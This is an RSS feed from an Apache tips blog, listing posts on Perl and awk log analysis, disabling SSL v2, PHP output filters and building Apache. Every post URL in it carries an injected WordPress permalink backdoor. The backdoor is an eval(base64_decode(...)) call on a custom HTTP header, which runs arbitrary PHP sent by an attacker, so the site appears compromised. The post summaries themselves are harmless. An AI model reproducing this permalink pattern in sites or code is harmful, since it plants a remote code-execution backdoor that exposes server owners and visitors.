<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>apachehacker</title>
	<atom:link href="http://apachehacker.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://apachehacker.com</link>
	<description>Apache Hacks, Tips and Tricks from Practitioners</description>
	<pubDate>Tue, 02 Mar 2010 10:24:20 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>Quick and Dirty Apache Bandwidth Report Hack in Perl</title>
		<link>http://apachehacker.com/2010/03/02/quick-and-dirty-apache-bandwidth-report/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2010/03/02/quick-and-dirty-apache-bandwidth-report/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 10:20:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Log Management]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=169</guid>
		<description><![CDATA[Google Analtyics, Quantcast etc are nice for marketing types. We needed a quick-and-dirty bandwidth report based on Apache access log. So whipped out the following perl script to do just that.

#!/usr/bin/env perl
use Time::DaysInMonth;
$&#124;++;

my %months = ('Jan' =&#62; 1,
'Feb' =&#62; 2,
'Mar' =&#62; 3,
'Apr' =&#62; 4,
'May' =&#62; 5,
'Jun' =&#62; 6,
'Jul' =&#62; 7,
'Aug' =&#62; 8,
'Sep' =&#62; 9,
'Oct' =&#62; [...]]]></description>
		<wfw:commentRss>http://apachehacker.com/2010/03/02/quick-and-dirty-apache-bandwidth-report/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Disabling SSL v2 in Apache/SSL</title>
		<link>http://apachehacker.com/2010/01/25/disabling-ssl-v2-in-apachessl/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2010/01/25/disabling-ssl-v2-in-apachessl/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 04:21:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[SSL]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Virtual Host]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=167</guid>
		<description><![CDATA[Today we found out that one of the client sites had their precious hacker-safe badge dropped because the Web server that they were running was offering SSL v2 support.
So we decided to investigate by running:

$ openssl s_client –ssl2 –connect www.clienthostname.com:443

We were able to connect! This confirmed that we had SSL v2 enabled Apache, which is [...]]]></description>
		<wfw:commentRss>http://apachehacker.com/2010/01/25/disabling-ssl-v2-in-apachessl/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Quick and Dirty Apache Log Analyzer to Find Top-100 IP Visits</title>
		<link>http://apachehacker.com/2010/01/16/quick-and-dirty-apache-log-analyzer-to-find-top-100-ip-visits/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2010/01/16/quick-and-dirty-apache-log-analyzer-to-find-top-100-ip-visits/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 00:07:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Log Management]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=161</guid>
		<description><![CDATA[We do not run local log analysis program since most customers rely on off-site Google Analytics. So we find ourselves often writing on-the-fly awk scripts to find the top-100 or top-1000 IP visitors from time to time when debugging site performance issues. Who hasn&#8217;t found their sites slow thanks to crawlers jamming the site?
So to [...]]]></description>
		<wfw:commentRss>http://apachehacker.com/2010/01/16/quick-and-dirty-apache-log-analyzer-to-find-top-100-ip-visits/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Output Filtering Using PHP</title>
		<link>http://apachehacker.com/2009/12/04/output-filtering-using-php/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2009/12/04/output-filtering-using-php/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 10:22:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Virtual Host]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=154</guid>
		<description><![CDATA[We needed a prototype filter that allows us to filter Web pages generated by PHP scripts to be post processed using an Apache output filter.  In addition, we needed to write the filter in PHP as well. The filter will simply take the HTML (text/html) output generated by a third-party PHP application and do some [...]]]></description>
		<wfw:commentRss>http://apachehacker.com/2009/12/04/output-filtering-using-php/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Compiling Apache with Old Version of APR Utils&#8230;</title>
		<link>http://apachehacker.com/2009/12/03/compiling-apache-with-old-version-of-apr-utils/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2009/12/03/compiling-apache-with-old-version-of-apr-utils/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 18:12:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=152</guid>
		<description><![CDATA[Just tried to compile Apache on a system with APR utility version 1.0 and got errors. To remedy, just told configure to use --with-included-apr which makes it use the bundled 1.2 APR libraries. Worked like a charm.
]]></description>
		<wfw:commentRss>http://apachehacker.com/2009/12/03/compiling-apache-with-old-version-of-apr-utils/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Another 64-bit Headache Installing Apache on CentOS 5.3</title>
		<link>http://apachehacker.com/2009/07/25/072509-another-64-bit-headache-installing-apache-on-centos-53/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2009/07/25/072509-another-64-bit-headache-installing-apache-on-centos-53/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 25 Jul 2009 20:14:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=149</guid>
		<description><![CDATA[We planned to upgrade an existing 64-bit CentOS 5 server this weekend. The upgrade caused a bit of a headache that is worth documenting for future reference.
Getting CentOS 5 Upgraded to CentOS 5.3
This went like a breeze as all we did is run: nohup yum –y upgrade &#38; and in the background the CentOS upgrade [...]]]></description>
		<wfw:commentRss>http://apachehacker.com/2009/07/25/072509-another-64-bit-headache-installing-apache-on-centos-53/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Setting up a PHP Filter for a Directory Alias</title>
		<link>http://apachehacker.com/2009/07/11/setting-up-a-php-filter-for-a-directory-alias/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2009/07/11/setting-up-a-php-filter-for-a-directory-alias/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 16:00:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Virtual Host]]></category>

		<category><![CDATA[filter]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=145</guid>
		<description><![CDATA[Creating a PHP filter for a directory alias or location]]></description>
		<wfw:commentRss>http://apachehacker.com/2009/07/11/setting-up-a-php-filter-for-a-directory-alias/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Writing a Custom Apache Log File Using a PHP Script in Real Time</title>
		<link>http://apachehacker.com/2008/12/14/writing-a-custom-apache-log-file-using-a-php-script-in-real-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2008/12/14/writing-a-custom-apache-log-file-using-a-php-script-in-real-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 09:39:18 +0000</pubDate>
		<dc:creator>kabir</dc:creator>
		
		<category><![CDATA[Log Management]]></category>

		<category><![CDATA[custom log]]></category>

		<category><![CDATA[CustomLog]]></category>

		<category><![CDATA[ErrorLog]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=128</guid>
		<description><![CDATA[How to Write a Custom Apache Log File Using a PHP Script in Real Time]]></description>
		<wfw:commentRss>http://apachehacker.com/2008/12/14/writing-a-custom-apache-log-file-using-a-php-script-in-real-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Using Awk to do Quick and Dirty Analysis of Apache Logs</title>
		<link>http://apachehacker.com/2008/12/13/using-awk-to-do-quick-and-dirty-analysis-of-apache-logs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2008/12/13/using-awk-to-do-quick-and-dirty-analysis-of-apache-logs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 07:37:51 +0000</pubDate>
		<dc:creator>kabir</dc:creator>
		
		<category><![CDATA[Access Control]]></category>

		<category><![CDATA[awk]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=44</guid>
		<description><![CDATA[How to use Awk to do Quick and Dirty Analysis of Apache Logs]]></description>
		<wfw:commentRss>http://apachehacker.com/2008/12/13/using-awk-to-do-quick-and-dirty-analysis-of-apache-logs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Disabling Weak SSL v2 Support in Apache Server</title>
		<link>http://apachehacker.com/2008/12/04/disabling-weak-ssl-v2-support-in-apache-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://apachehacker.com/2008/12/04/disabling-weak-ssl-v2-support-in-apache-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 21:15:35 +0000</pubDate>
		<dc:creator>kabir</dc:creator>
		
		<category><![CDATA[SSL]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[SSLv2]]></category>

		<category><![CDATA[SSLv3]]></category>

		<guid isPermaLink="false">http://apachehacker.com/?p=103</guid>
		<description><![CDATA[How to disable SSL v2 support in Apache and upgrade to SSL v3 for better SSL security.]]></description>
		<wfw:commentRss>http://apachehacker.com/2008/12/04/disabling-weak-ssl-v2-support-in-apache-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
